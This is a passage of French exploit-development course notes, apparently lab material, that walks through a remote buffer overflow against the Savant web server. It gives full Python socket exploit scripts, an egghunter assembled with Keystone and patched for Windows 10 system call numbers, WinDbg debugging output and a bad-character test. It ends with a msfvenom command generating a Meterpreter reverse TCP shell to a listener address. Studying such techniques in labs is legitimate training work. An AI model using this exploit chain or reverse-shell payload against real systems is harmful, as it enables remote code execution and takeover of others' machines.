  • Soit faire des suppositions base sur le type d'application

On essaye de trouver un espace supplémentaire en ajoutant un buffer après la fin de la requête HTTP à travers la variable shellcode :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17
  inputBuffer = b"\x41" * size
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
  httpEndRequest = b"\r\n\r\n"

  shellcode = b"w00tw00t" + b"\x44" * 400

  buf = httpMethod + inputBuffer +  httpEndRequest + shellcode

Exécution de la preuve de concept et positionnement d'un point d'arrêt sur l'adresse où se trouve la série d'instructions POP EAX;RET :

  • On trouve le pattern w00tw00t une seule fois en mémoire
0:009> bp 0x00418674
#
0:009> g
Breakpoint 0 hit
[...]
00418674 58              pop     eax
0:004> s -a 0x0 L?80000000 w00tw00t
01965aa6  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
#
0:004> db 01965aa6 + 0n408 - 4 L4
01965c3a  44 44 44 44                                      DDDD

On a donc identifié avec succès un second buffer on l'on va pouvoir stocker notre shellcode final.

Gestionnaire de Tas Windows

On a trouve notre pattern a l'adresse mémoire 01965aa6. Cependant, si on affiche la pile via !teb on se rend compte que l'adresse n'est pas dans la pile. On utilise la commande !address pour obtenir des informations sur l'adresse fournie en paramètre. L'adresse est présente sur la heap (tas) :

#
0:004> s -a 0x0 L?80000000 w00tw00t
01965aa6  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
#
0:004> !teb
TEB at 00385000
    ExceptionList:        046cff70
    StackBase:            046d0000
    StackLimit:           046cc000
[...]
0:004> !address 01965aa6                 
[...]
Usage:                  Heap
Base Address:           01960000
End Address:            0196f000
[...]

Le Windows Heap Memory Manager est une couche logicielle qui se situe au-dessus des interfaces de la mémoire virtuelle fournies par Windows. Cet outil permet aux applications de demander et relâcher dynamiquement de la mémoire à travers un panel d'API Windows (VirtualAllocEx VirtualFreeEx - HeapAlloc - HeapFree).

Dans Windows, quand un nouveau processus se lance, le Heap Manager va automatiquement créer une nouvelle heap appellee default process heap. À haut niveau, les heap sont de gros morceaux de mémoire qui sont divisés en petit morceau pour répondre aux demandes dynamiques d'allocation mémoire.

Certain processus n'utilisent que le default process heap mais la plupart vont en créer de nouveaux avec l'API HeapCreate ou ntdll!RtlCreateHeap pour isoler des composants s'exécutant dans un même processus. Certains processus utilise C Runtime Heap pour la plupart de leurs allocations dynamiques (malloc - free). Ces fonctions vont à terme utiliser les fonctions du Heap Manager de NTDLL qui fait le lien avec le noyau Windows (Windows Virtual Memory Manager).

Du fait que notre buffer est stocké dans une mémoire dynamique, il n'est pas possible de déterminer sa localisation en avance. D'autres techniques doivent être utilisées pour trouver notre buffer.

L'approche Egg Hunter

Quand on doit trouver l'adresse mémoire d'un autre buffer sous notre contrôle dont l'adresse n'est pas statique on utilise des egghunter.

Keystone Engine

Écrire du shellcode est simplifie avec l'utilisation d'outil tel que Keystone Engine qui est un framework assembleur. Il fait le lien avec différent langage de programmation tel que Python. On peut l'utiliser pour écrire de l'assembleur directement dans le code Python.

Exemple de code Python contenant du code assembleur :

# Import de tous les éléments de la librairie
from keystone import *

# Déclaration de la variable `CODE` qui contient du code assembleur
CODE = (
"                       "
" start:                "
"       xor eax, eax   ;"
"       add eax, ecx   ;"
"       push eax       ;"
"       pop esi        ;"
)

# Initialisation du `Keystone Engine` qui prend deux paramètres : l'architecture et le mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)

# Compilation des instructions assembleur
# La fonction `asm` renvoie une liste de byte encodes et le nombre d'instructions compilées
encoding, count = ks.asm(CODE)

instructions = ""

# Itération sur les bytes
for dec in encoding:
    # Stockage au format python shellcode
    instructions += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print("Opcodes = (\"" + instructions + "\")")

Résultat à l'exécution :

$ python keystone-poc.py                      
Opcodes = ("\x31\xc0\x01\xc8\x50\x5e")

On vérifie que les opcodes correspondent a ceux générés via msf-nasm_shell :

$ msf-nasm_shell
nasm > xor eax,eax
00000000  31C0              xor eax,eax
nasm > add eax,ecx
00000000  01C8              add eax,ecx
nasm > push eax
00000000  50                push eax
nasm > pop esi
00000000  5E                pop esi

Egghunters et appels système

Un egghunter est un petit payload first-stage qui peut chercher dans le Virtual Address Space (VAS) du processus à la recherche du egg. Il va globalement chercher dans tout l'espace mémoire du programme cible.

Un des problèmes majeurs est qu'il n'est pas possible de savoir à l'avance si un espace mémoire est mappe ou pas - si on a les accès pour y accéder - quel type d'accès est autorisé sur cette espace mémoire. Dans de nombreux cas, on risque de déclencher un access violation.

L'auteur original de la première preuve de concept a utilisé l'appel système NtAccessCheckAndAuditAlarm (numero 0x2).

Un appel système (system call) est une interface entre espace utilisateur et espace noyau. Généralement, appelle à travers une instruction ASM dédiée (interupt / trap). Quand un appel système est appelé :

  • Le programme courant va le signaler au système d'exploitation et demander à ce que l'opération soit réalisée
  • Le système d'exploitation prend en charge l'opération en background
  • Le système d'exploitation redonne la main au logiciel avec le résultat de l'opération

Le egghunter va profiter de ce fonctionnement. Plutôt que de parcourir la mémoire au sein du programme et de risquer un access violation on utilise un appel système afin de laisser le système d'exploitation accéder aux adresses mémoires. Avant que la fonction soit appelée, le système d'exploitation va copier les arguments fournis dans l'espace utilisateur vers l'espace noyau.

Si l'adresse mémoire n'est pas mappée ou qu'on ne possède pas les bons accès, l'opération de copie va soulever un access violation. Le access violation va être géré dans le background et renvoyer un code STATUS_ACCESS_VIOLATION (0xc0000005), permettant au egghunter de continuer à la prochaine page mémoire.

Afin d'appeler un appel système, le système d'exploitation doit connaitre la fonction à appeler et les arguments a passer :

  • Dans architecture x86 la fonction est spécifiée via un numéro d'appel système unique (System Call Number) qui est positionné au sein du registre EAX
  • Depot des arguments sur la pile si la fonction prend des paramètres
  • Copie du pointeur de pile ESP dans le registre EDX qui est passé en paramètre à l'appel système

Durant l'appel système, l'OS va tenter d'accéder à l'adresse mémoire ou les arguments de la fonction sont stockés pour les copier de l'espace utilisateur à l'espace noyau. Si le registre EDX pointe sur une adresse mémoire non mappée ou à laquelle on a pas accès à cause d'un manque de permission le système d'exploitation va déclencher un access violation. L' access violation va être géré pour nous et renvoyer STATUS_ACCESS_VIOLATION dans EAX.

En appelant l'appel système NtAccessCheckAndAuditAlarm on va obtenir seulement deux résultats possibles :

  • Si l'adresse est valide et qu'on a accès : STATUS_NO_IMPERSONATION_TOKEN
  • Si l'adresse est non mappée ou qu'on a a pas accès : STATUS_ACCESS_VIOLATION

Analyse en détail du code assembleur de la preuve de concept original de egghunter :

#
#
" loop_inc_page:    "
  # Operation `OR` sur le registre `DX` (`EDX`)
  # Va faire pointer `EDX` sur la dernière adresse de la page mémoire
"  or dx, 0x0fff  ;" 
#
#
" loop_inc_one:    "
  # Operation `INC` sur le registre `EDX`
  # Incrémenter `EDX` de `1` pour pointer sur une nouvelle page mémoire
"  inc edx    ;"

Le registre EDX contient maintenant l'adresse de la prochaine page mémoire.

#
#
" loop_check:     "
  # On positionne le contenu du registre `EDX` sur la pile
  # Non nécessaire, mais permet d'assurer une sauvegarde, car on ne peut pas garantir que EDX sera restauré a la suite de l'appel système
"  push edx   ;"
  # On positionne `0x2` sur la pile. 0x2 est le numéro de l'appel système NtAccessCheckAndAuditAlarm
"  push 0x2    ;" 
  # On positionne le dernier élément de la pile (`pop`) qui est donc `0x2` qu'on vient de mettre dans la pile dans le registre `EAX`
  # Le numéro de l'appel système est dans `EAX`
"  pop eax    ;" 
  # Le numéro de l'appel système est dans `EAX` et `EDX` contient un faux pointeur
  # On invoque l'appel système va `INT`
"  int 0x2e   ;" 

Le système d'exploitation va invoquer l'appel système. Durant cet appel il va vérifier l'adresse mémoire stockée dans EDX pour récupérer les arguments de la fonction. Si l'accès a cette adresse stockée dans EDX entraine un access violation on obtiendra le statut STATUS_ACCESS_VIOLATION (0xc0000005) dans EAX.

Le prochain morceau de code va analyser le retour de l'appel système :

  # On compare `AL` (registre du bas de `EAX`) avec `05` pour éviter le *null bytes*
"  cmp al,05   ;" 
  # On restaure l'adresse mémoire depuis la pile dans `EDX`
"  pop edx    ;" 
#
#
" loop_check_valid:   "
  # Jump conditionnel qui va se baser sur le résultat de l'opération `CMP`
    # Si un `STATUS_ACCESS_VIOLATION` a été trouvé, on se déplace à la prochaine page mémoire en faisant un jump vers le début de notre script pour refaire les étapes précédentes
    # Si la mémoire est mappée ou qu'on a accès on continue pour aller vérifier notre signature unique (*egg*)
"  je loop_inc_page ;"

On arrive ici si la mémoire est mappée ou qu'on a accès à la recherche de notre egg :

#
#
" is_egg:      "
  # On place note *egg* (ici `w00t` mais ça pourrait être autre chose) dans le registre `EAX`
"  mov eax, 0x74303077 ;" 
  # On copie l'adresse présente dans `EDX` dans `EDI`
"  mov edi, edx  ;" 
  # Compare la valeur stockée dans `EAX` avec le 1er DWORD de l'adresse mémoire sur laquelle pointe `EDI` (qui contient maintenant l'adresse stockée dans `EDX` à laquelle l'appel système a pu accéder)
  # On vérifie ainsi si l'adresse mappée identifiée via l'appel système contient l'*egg* ou pas
    # Mets à jour le registre `ZF` en fonction du résultat de la comparaison
    # Incrémenter automatiquement `EDI` de 1 DWORD
"  scasd    ;" 
  # Jump conditionnel dépendant du résultat de la comparaison via `scasd`
    # Si le 1er DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour repeter le processus de recherche en incrémentant l'adresse mémoire de un
    # Si le 1er DWORD est trouve on va réutiliser SCASD pour chercher le deuxième DWORD de notre egg
"  jnz loop_inc_one ;" 

On arrive ici si on a trouvé le premier DWORD de notre egg et qu'on cherche le deuxième :

  # Compare de nouveau `EAX` mais avec le 2em DWORD de `EDI` (à la suite de l'incrémentation du premier `SCASD`)
"  scasd    ;" 
  # Jump conditionnel dépendant du résultat de la comparaison via `scasd`
    # Si le 2em DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour répéter le processus
    # Si le 2em DWORD est trouve on continue
"  jnz loop_inc_one ;" 
#
#
" matched:     "
  # On jump sur `EDI` qui contient donc l'*egg* puisque les 2 DWORD sont présents
"  jmp edi    ;" 

Code complet :

from keystone import *

CODE = (
#
#
" loop_inc_page:    "
  # Operation `OR` sur le registre `DX` (`EDX`)
  # Va faire pointer `EDX` sur la dernière adresse de la page mémoire
"  or dx, 0x0fff  ;" 
#
#
" loop_inc_one:    "
  # Operation `INC` sur le registre `EDX`
  # Incrémenter `EDX` de `1` pour pointer sur une nouvelle page mémoire
"  inc edx    ;"  
#
#
" loop_check:     "
  # On positionne le contenu du registre `EDX` sur la pile
  # Non nécessaire, mais permet d'assurer une sauvegarde, car on ne peut pas garantir que EDX sera restauré a la suite de l'appel système
"  push edx   ;"
  # On positionne `0x2` sur la pile. 0x2 est le numéro de l'appel système NtAccessCheckAndAuditAlarm
"  push 0x2    ;" 
  # On positionne le dernier élément de la pile (`pop`) qui est donc `0x2` qu'on vient de mettre dans la pile dans le registre `EAX`
  # Le numéro de l'appel système est dans `EAX`
"  pop eax    ;" 
  # Le numéro de l'appel système est dans `EAX` et `EDX` contient un faux pointeur
  # On invoque l'appel système va `INT`
"  int 0x2e   ;" 
  # On compare `AL` (registre du bas de `EAX`) avec `05` pour éviter le *null bytes*
"  cmp al,05   ;" 
  # On restaure l'adresse mémoire depuis la pile dans `EDX`
"  pop edx    ;" 
#
#
" loop_check_valid:   "
  # Jump conditionnel qui va se baser sur le résultat de l'opération `CMP`
    # Si un `STATUS_ACCESS_VIOLATION` a été trouvé, on se déplace à la prochaine page mémoire en faisant un jump vers le début de notre script pour refaire les étapes précédentes
    # Si la mémoire est mappée ou qu'on a accès on continue pour aller vérifier notre signature unique (*egg*)
"  je loop_inc_page ;"
#
#
" is_egg:      "
  # On place note *egg* (ici `w00t` mais ça pourrait être autre chose) dans le registre `EAX`
"  mov eax, 0x74303077 ;" 
  # On copie l'adresse présente dans `EDX` dans `EDI`
"  mov edi, edx  ;" 
  # Compare la valeur stockée dans `EAX` avec le 1er DWORD de l'adresse mémoire sur laquelle pointe `EDI` (qui contient maintenant l'adresse stockée dans `EDX` à laquelle l'appel système a pu accéder)
  # On vérifie ainsi si l'adresse mappée identifiée via l'appel système contient l'*egg* ou pas
    # Mets à jour le registre `ZF` en fonction du résultat de la comparaison
    # Incrémenter automatiquement `EDI` de 1 DWORD
"  scasd    ;" 
  # Jump conditionnel dépendant du résultat de la comparaison via `scasd`
    # Si le 1er DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour repeter le processus de recherche en incrémentant l'adresse mémoire de un
    # Si le 1er DWORD est trouve on va réutiliser SCASD pour chercher le deuxième DWORD de notre egg
"  jnz loop_inc_one ;" 
  # Compare de nouveau `EAX` mais avec le 2em DWORD de `EDI` (à la suite de l'incrémentation du premier `SCASD`)
"  scasd    ;" 
  # Jump conditionnel dépendant du résultat de la comparaison via `scasd`
    # Si le 2em DWORD du *egg* n'est pas trouvé on jump a `loop_inc_one` pour répéter le processus
    # Si le 2em DWORD est trouve on continue
"  jnz loop_inc_one ;" 
#
#
" matched:     "
  # On jump sur `EDI` qui contient donc l'*egg* puisque les 2 DWORD sont présents
"  jmp edi    ;"   
)

# Initialize engine in 32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding: 
  egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")

print("egghunter = (\"" + egghunter + "\")")

Exécution du script complet et génération des opcodes correspondants :

$ python3 egghunter.py
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

Mise à jour de la preuve de concept en intégrant les opcodes générés :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # XOR ECX ECX; TEST ECX ECX; JE 0x17

  egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90"  # NOP sled
               b"\x66\x81\xca\xff\x0f\x42\x52\x6a"
               b"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
               b"\xef\xb8\x77\x30\x30\x74\x89\xd7"
               b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

  inputBuffer = b"\x41" * (size - len(egghunter))
  inputBuffer += pack("<L", (0x418674)) # 0x00418674 : POP EAX ; RET
  httpEndRequest = b"\r\n\r\n"

  shellcode = b"w00tw00t" + b"\x44" * 400

  buf = httpMethod + egghunter + inputBuffer +  httpEndRequest + shellcode

  print("Sending buffer...")
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((server, port))
  s.send(buf)
  s.close()

  print("Done!")

except socket.error:
  print("Could not connect!")

On positionne un point d'arrêt sur l'adresse ou se trouve l'instruction POP EAX;RET :

0:009> bp 0x00418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe

On exécute le nouvel exploit et le point d'arrêt est atteint :

0:009> g
Breakpoint 0 hit
eax=00000000 ebx=018d5778 ecx=0000000e edx=77841670 esi=018d5778 edi=0041703c
eip=00418674 esp=0460ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Savant+0x18674:
00418674 58              pop     eax

On procède à l'exécution jusqu'à ce qu'un embranchement soit rencontré avec ph.

The ph command executes the program until any kind of branching instruction is reached, including conditional or unconditional branches, calls, returns, and system calls.

0:004> ph
eax=0460fe70 ebx=018d5778 ecx=00000000 edx=77841670 esi=018d5778 edi=0041703c
eip=0460ea88 esp=0460ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0460ea88 0f8411000000    je      0460ea9f                                [br=1]
#
# On décompile les opcodes à l'adresse `0460ea9f`. On retrouve bien les NOP + le code ASM pour le egghunter
0:004> u 0460ea9f L16
0460ea9f 90              nop
0460eaa0 90              nop
0460eaa1 90              nop
0460eaa2 90              nop
0460eaa3 90              nop
0460eaa4 90              nop
0460eaa5 6681caff0f      or      dx,0FFFh
0460eaaa 42              inc     edx
0460eaab 52              push    edx
0460eaac 6a02            push    2
0460eaae 58              pop     eax
0460eaaf cd2e            int     2Eh
0460eab1 3c05            cmp     al,5
0460eab3 5a              pop     edx
0460eab4 74ef            je      0460eaa5
0460eab6 b877303074      mov     eax,offset msvcp_win!_CTA2?AVbad_exceptionstd+0x13cab (74303077)
0460eabb 89d7            mov     edi,edx
0460eabd af              scas    dword ptr es:[edi]
0460eabe 75ea            jne     0460eaaa
0460eac0 af              scas    dword ptr es:[edi]
0460eac1 75e7            jne     0460eaaa
0460eac3 ffe7            jmp     edi
#
# On recherche notre egg pour confirmer qu'il est bien en mémoire et on le trouve bien
0:004> s -a 0x0 L?80000000 w00tw00t
018d5b2e  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
#
# On met un point d'arrêt sur l'adresse ou le `jmp edi` est réalisé
0:004> bp 0460eac3
#
# On relance
0:004> g

Le point d'arrêt n'est jamais atteint, Le egghunter tourne, mais ne trouve pas le egg. Pourtout on a bien confirmé qu'il est présent dans la mémoire via la recherche avec s.

Cet exploit fonctionne sur Windows 7 mais pas Windows 10. Des changements entre les deux versions ont entrainé un dysfonctionnement du egghunter. Il est nécessaire de le modifier.

Corriger l'exploit

On doit analyser notre preuve de concept pour comprendre pourquoi le egghunter ne fonctionne pas. Le point d'échec potentiel le plus important est l'appel à la fonction NtAccessCheckAndAuditAlarm.

Un des points négatifs de mettre le numéro de l'appel système au sein du code (ici 0x02) est qu'il peut être amené à changer. Avant Windows 8 le numéro de l'appel système de NtAccessCheckAndAuditAlarm était 0x02, ce n'est plus le cas ensuite. À partir de Windows 10, il change à chaque mise à jour.

On identifie le nouveau numéro d'appel système qui est 1C6h.

ntdll!NtAccessCheckAndAuditAlarm:
77840ec0 b8c6010000      mov     eax,1C6h                                               # ICI
77840ec5 e803000000      call    ntdll!NtAccessCheckAndAuditAlarm+0xd (77840ecd)
77840eca c22c00          ret     2Ch
77840ecd 8bd4            mov     edx,esp

On met à jour notre script Python pour générer les opcodes du egghunter :

#
"  push 0x1c6    ;" 
#
"  pop eax    ;" 
#
"  int 0x2e   ;"

Génération des opcodes à la suite de la mise à jour du numéro d'appel système :

$ python3 egghunter.py             
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")

On obtient des null bytes : \x00\x00\ en passant de push 0x2 a push 0x1c6. Problématique, car les null bytes sont des mauvais caractères.

On va utiliser l'instruction NEC qui est l'equivalent d'une soustraction sur 0. On doit trouver un nombre qui soustrait a 0 va donner 1c6.

On fait les opérations dans WinDBG :

0:004> ? 0x00 - 0x1C6
Evaluate expression: -454 = fffffe3a
0:004> ? 0x00 - 0xfffffe3a
Evaluate expression: -4294966842 = ffffffff`000001c6

On met à jour le code Python qui génère les opcodes du egghunter pour l'adapter

" loop_check:     "
  # Save the edx register which holds our memory 
  # address on the stack
"  push edx   ;"
  # Push the negative number value of the system call number
"  mov eax 0xfffffe3a   ;" 
  # Initialize the call to NtAccessCheckAndAuditAlarm
"  neg eax                              ;"
  # Perform the system call
"  int 0x2e   ;" 

On génère de nouveau les opcodes suite a la mis à jour :

$ python3 egghunter_v2.py
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\xb8\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7")

On positionne un point d'arrêt sur l'adresse ou se trouve l'instruction POP EAX;RET :

0:010> bp 0x418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
#
#
0:010> g
Breakpoint 0 hit
eax=00000000 ebx=018f5778 ecx=0000000e edx=77841670 esi=018f5778 edi=0041703c
eip=00418674 esp=0477ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Savant+0x18674:
00418674 58              pop     eax
#
#
0:005> ph
eax=0477fe70 ebx=018f5778 ecx=0000000e edx=77841670 esi=018f5778 edi=0041703c
eip=00418675 esp=0477ea30 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Savant+0x18675:
00418675 c3              ret
#
#
0:005> ph
eax=0477fe70 ebx=018f5778 ecx=00000000 edx=77841670 esi=018f5778 edi=0041703c
eip=0477ea88 esp=0477ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0477ea88 0f8411000000    je      0477ea9f                                [br=1]
#
# On décompile les opcodes a l'adresse `0460ea9f`. On retrouve bien les NOP + le code ASM pour le egghunter
0:005> u 0477ea9f L16
0477ea9f 90              nop
0477eaa0 90              nop
0477eaa1 90              nop
0477eaa2 90              nop
0477eaa3 90              nop
0477eaa4 90              nop
0477eaa5 6681caff0f      or      dx,0FFFh
0477eaaa 42              inc     edx
0477eaab 52              push    edx
0477eaac b83afeffff      mov     eax,0FFFFFE3Ah
0477eab1 f7d8            neg     eax
0477eab3 cd2e            int     2Eh
0477eab5 3c05            cmp     al,5
0477eab7 5a              pop     edx
0477eab8 74eb            je      0477eaa5
0477eaba b877303074      mov     eax,offset msvcp_win!_CTA2?AVbad_exceptionstd+0x13cab (74303077)
0477eabf 89d7            mov     edi,edx
0477eac1 af              scas    dword ptr es:[edi]
0477eac2 75e6            jne     0477eaaa
0477eac4 af              scas    dword ptr es:[edi]
0477eac5 75e3            jne     0477eaaa
0477eac7 ffe7            jmp     edi
#
# On met un point d'arrêt sur l'adresse ou le `jmp edi` est réalisé
0:005> bp 0477eac7
#
#
0:005> g

Le second point d'arrêt est atteint. On est bien sur jmp edi. On affiche le contenu de edi, et on est bien sur le egg w00tw00t suivis du shellcode de 44444444 :

Breakpoint 1 hit
eax=74303077 ebx=018f5778 ecx=0477ea30 edx=018f5b2e esi=018f5778 edi=018f5b36
eip=0477eac7 esp=0477ea34 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0477eac7 ffe7            jmp     edi {018f5b36}
0:005> dc @edi - 0x08
018f5b2e  74303077 74303077 44444444 44444444  w00tw00tDDDDDDDD
018f5b3e  44444444 44444444 44444444 44444444  DDDDDDDDDDDDDDDD
[...]

Problématique récurrente durant le développement d'exploit : trouver le compromis entre portabilité et taille d'exploit.

Récupérer un shell

Maintenant que le egghunter fonctionne, on peut mettre en oeuvre notre shellcode.

Il faut se rappeler que le second buffer est dans une page mémoire différente allouée par le tas (heap). On ne connait pas les bad char de cette page mémoire et on a vu précédemment que les mauvais caractères ne sont pas universels a une application.

On met à jour la preuve de concept avec les tous les caractères hexadécimal en les positionnant dans le second buffer :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 80
  size = 253

  httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /"  # xor ecx, ecx; test ecx, ecx; je 0x17 

  egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled
             b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
             b"\x3a\xfe\xff\xff\xf7\xd8\xcd\x2e"
             b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
             b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
             b"\x75\xe3\xff\xe7")

  inputBuffer = b"\x41" * (size - len(egghunter))
  inputBuffer+= pack("<L", (0x418674))                  # 0x00418674 - pop eax; ret
  httpEndRequest = b"\r\n\r\n"

  badchars = (
    b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c"
    b"\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19"
    b"\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
    b"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33"
    b"\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
    b"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
    b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67"
    b"\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74"
    b"\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81"
    b"\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
    b"\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"
    b"\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
    b"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
    b"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
    b"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
    b"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc"
    b"\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9"
    b"\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6"
    b"\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") 

  shellcode = b"w00tw00t" + badchars  +  b"\x44" * (400 - len(badchars))

  buf = httpMethod + egghunter + inputBuffer +  httpEndRequest + shellcode

  print("Sending buffer")
  [...]

On positionne le point d'arrêt sur POP EAX et on relance l'exécution :

#
0:009> bp 0x418674
*** WARNING: Unable to verify checksum for C:\Savant\Savant.exe
0:009> bl
     0 d Enable Clear  00000000 e 1 0001 (0001)  0:****
     1 e Disable Clear  00418674     0001 (0001)  0:**** Savant+0x18674
0:009> g

Puis on relance l'exploit :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ python3 egg_v11.py 192.168.234.10
Sending buffer
Done!

Le point d'arrêt est atteint. On cherche manuellement notre egg avec WinDBG. On le trouve à l'adresse 001e5b2e et on affiche son contenu :

Breakpoint 1 hit
eax=00000000 ebx=001e5778 ecx=0000000e edx=77841670 esi=001e5778 edi=0041703c
eip=00418674 esp=0455ea2c ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Savant+0x18674:
00418674 58              pop     eax
#
0:004> s -a 0x0 L?80000000 w00tw00t
001e5b2e  77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07  w00tw00t........
#
0:004> db 001e5b2e L110
001e5b2e  77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07  w00tw00t........
001e5b3e  08 09 0a 0b 0c 0d 0e 0f-10 11 12 13 14 15 16 17  ................
001e5b4e  18 19 1a 1b 1c 1d 1e 1f-20 21 22 23 24 25 26 27  ........ !"#$%&'
001e5b5e  28 29 2a 2b 2c 2d 2e 2f-30 31 32 33 34 35 36 37  ()*+,-./01234567
001e5b6e  38 39 3a 3b 3c 3d 3e 3f-40 41 42 43 44 45 46 47  89:;<=>?@ABCDEFG
001e5b7e  48 49 4a 4b 4c 4d 4e 4f-50 51 52 53 54 55 56 57  HIJKLMNOPQRSTUVW
001e5b8e  58 59 5a 5b 5c 5d 5e 5f-60 61 62 63 64 65 66 67  XYZ[\]^_`abcdefg
001e5b9e  68 69 6a 6b 6c 6d 6e 6f-70 71 72 73 74 75 76 77  hijklmnopqrstuvw
001e5bae  78 79 7a 7b 7c 7d 7e 7f-80 81 82 83 84 85 86 87  xyz{|}~.........
001e5bbe  88 89 8a 8b 8c 8d 8e 8f-90 91 92 93 94 95 96 97  ................
001e5bce  98 99 9a 9b 9c 9d 9e 9f-a0 a1 a2 a3 a4 a5 a6 a7  ................
001e5bde  a8 a9 aa ab ac ad ae af-b0 b1 b2 b3 b4 b5 b6 b7  ................
001e5bee  b8 b9 ba bb bc bd be bf-c0 c1 c2 c3 c4 c5 c6 c7  ................
001e5bfe  c8 c9 ca cb cc cd ce cf-d0 d1 d2 d3 d4 d5 d6 d7  ................
001e5c0e  d8 d9 da db dc dd de df-e0 e1 e2 e3 e4 e5 e6 e7  ................
001e5c1e  e8 e9 ea eb ec ed ee ef-f0 f1 f2 f3 f4 f5 f6 f7  ................
001e5c2e  f8 f9 fa fb fc fd fe ff-44 44 44 44 44 44 44 44  ........DDDDDDDD

Aucun mauvais caractère n'est présent, pas même 00. On peut donc générer un shellcode reverse shell Meterpreter :

┌──(kalikali)-[/media//os/exp-301-osed/cours/cours6]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.183 LPORT=443 -f python -v  payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
